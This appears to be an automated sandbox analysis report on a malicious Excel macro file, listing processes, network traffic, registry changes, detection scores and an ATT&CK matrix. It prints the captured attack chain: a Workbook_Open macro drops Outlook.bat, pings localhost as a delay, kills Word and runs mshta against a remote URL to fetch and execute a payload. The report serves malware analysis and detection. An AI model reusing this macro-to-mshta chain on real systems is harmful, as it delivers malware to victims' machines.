Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"			Name: Workbook_Open

Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05147620		8_2_05147620
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146E48		8_2_05146E48

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls

OLE indicator, VBA macros: true

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Virustotal: Detection: 49%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Metadefender: Detection: 29%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	ReversingLabs: Detection: 41%

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................zA......................vg.......................A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J............8.,.....2..................J....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............c.a.l.l........./.........................,......$.J............/.................,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .g.e.t.C.m.d.P.i.d...b.a.t. ............qg.....c.a.l.l...........A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................i.d...b..................qg.....c.a.l.l...........A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ..!................J....................................@c.J..... ........,.............v..v............ .,.......!.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................zA......................vg.......................A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J............8.,.....2..................J....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............s.e.t.........../.........................,......$.J............/.................,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .P.I.D.=.1. ............................qg.....s.e.t.............A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X........................................................qg.....s.e.t.............A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X.................................E......................vg.......................A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. ...........,.....H.......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................o.d.e....................qg.....m.o.d.e...........A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ..!................J....................................@c.J..... ........,.............v..v............ .,.......!.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................zA......................vg.......................A...............,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............c.d............./.........................,......$.J............/.................,.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. ........qg.....c.d...............A...............,.....".......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................s.\.P.u..................qg.....c.d...............A...............,.............................	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Console Write: ................h...............................d1K.....................................d...............e...............X.......B.........+.....	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6077.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@11/88@5/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Code function: 8_2_051483D3 push ecx; ret	8_2_05148431
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_051482C1 push ecx; ret	8_2_05148310
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146AF2 push ecx; ret	8_2_05146BDE
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146B27 push ecx; ret	8_2_05146BDE
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146802 pushad ; retf 0003h	8_2_05146803
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0514B002 pushad ; retf 0003h	8_2_0514B003
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146A9F push ecx; ret	8_2_05146AD5
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146A86 push ecx; ret	8_2_05146AD5
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_05146ADB push ecx; ret	8_2_05146BDE

Source: C:\Windows\System32\mshta.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\taskkill.exe TID: 1412	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1516	Thread sleep time: -360000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	1 Virtualization/Sandbox Evasion	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Modify Registry	LSASS Memory	11 Remote System Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	121 Scripting	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	11 Disable or Modify Tools	NTDS	1 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	14 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	121 Scripting	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	49%	Virustotal		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	29%	Metadefender		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	41%	ReversingLabs	Script-Macro.Downloader.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	100%	Avira	X97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
facextrade.com.br	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;	100%	Avira URL Cloud	malware
https://facextrade.com.br/feed/atom/Y	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)re	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	100%	Avira URL Cloud	malware
http://adomas.org/javascript-mouse-wheel/	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.21.2.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.1241	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204179	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/ae	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com	100%	Avira URL Cloud	malware
http://facextrade.com.br/xmlrpc.phpa	100%	Avira URL Cloud	malware
https://csp.withgoogle.com/csp/report-to/apps-themes	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.019	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1la	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6i	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0P	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0	100%	Avira URL Cloud	malware
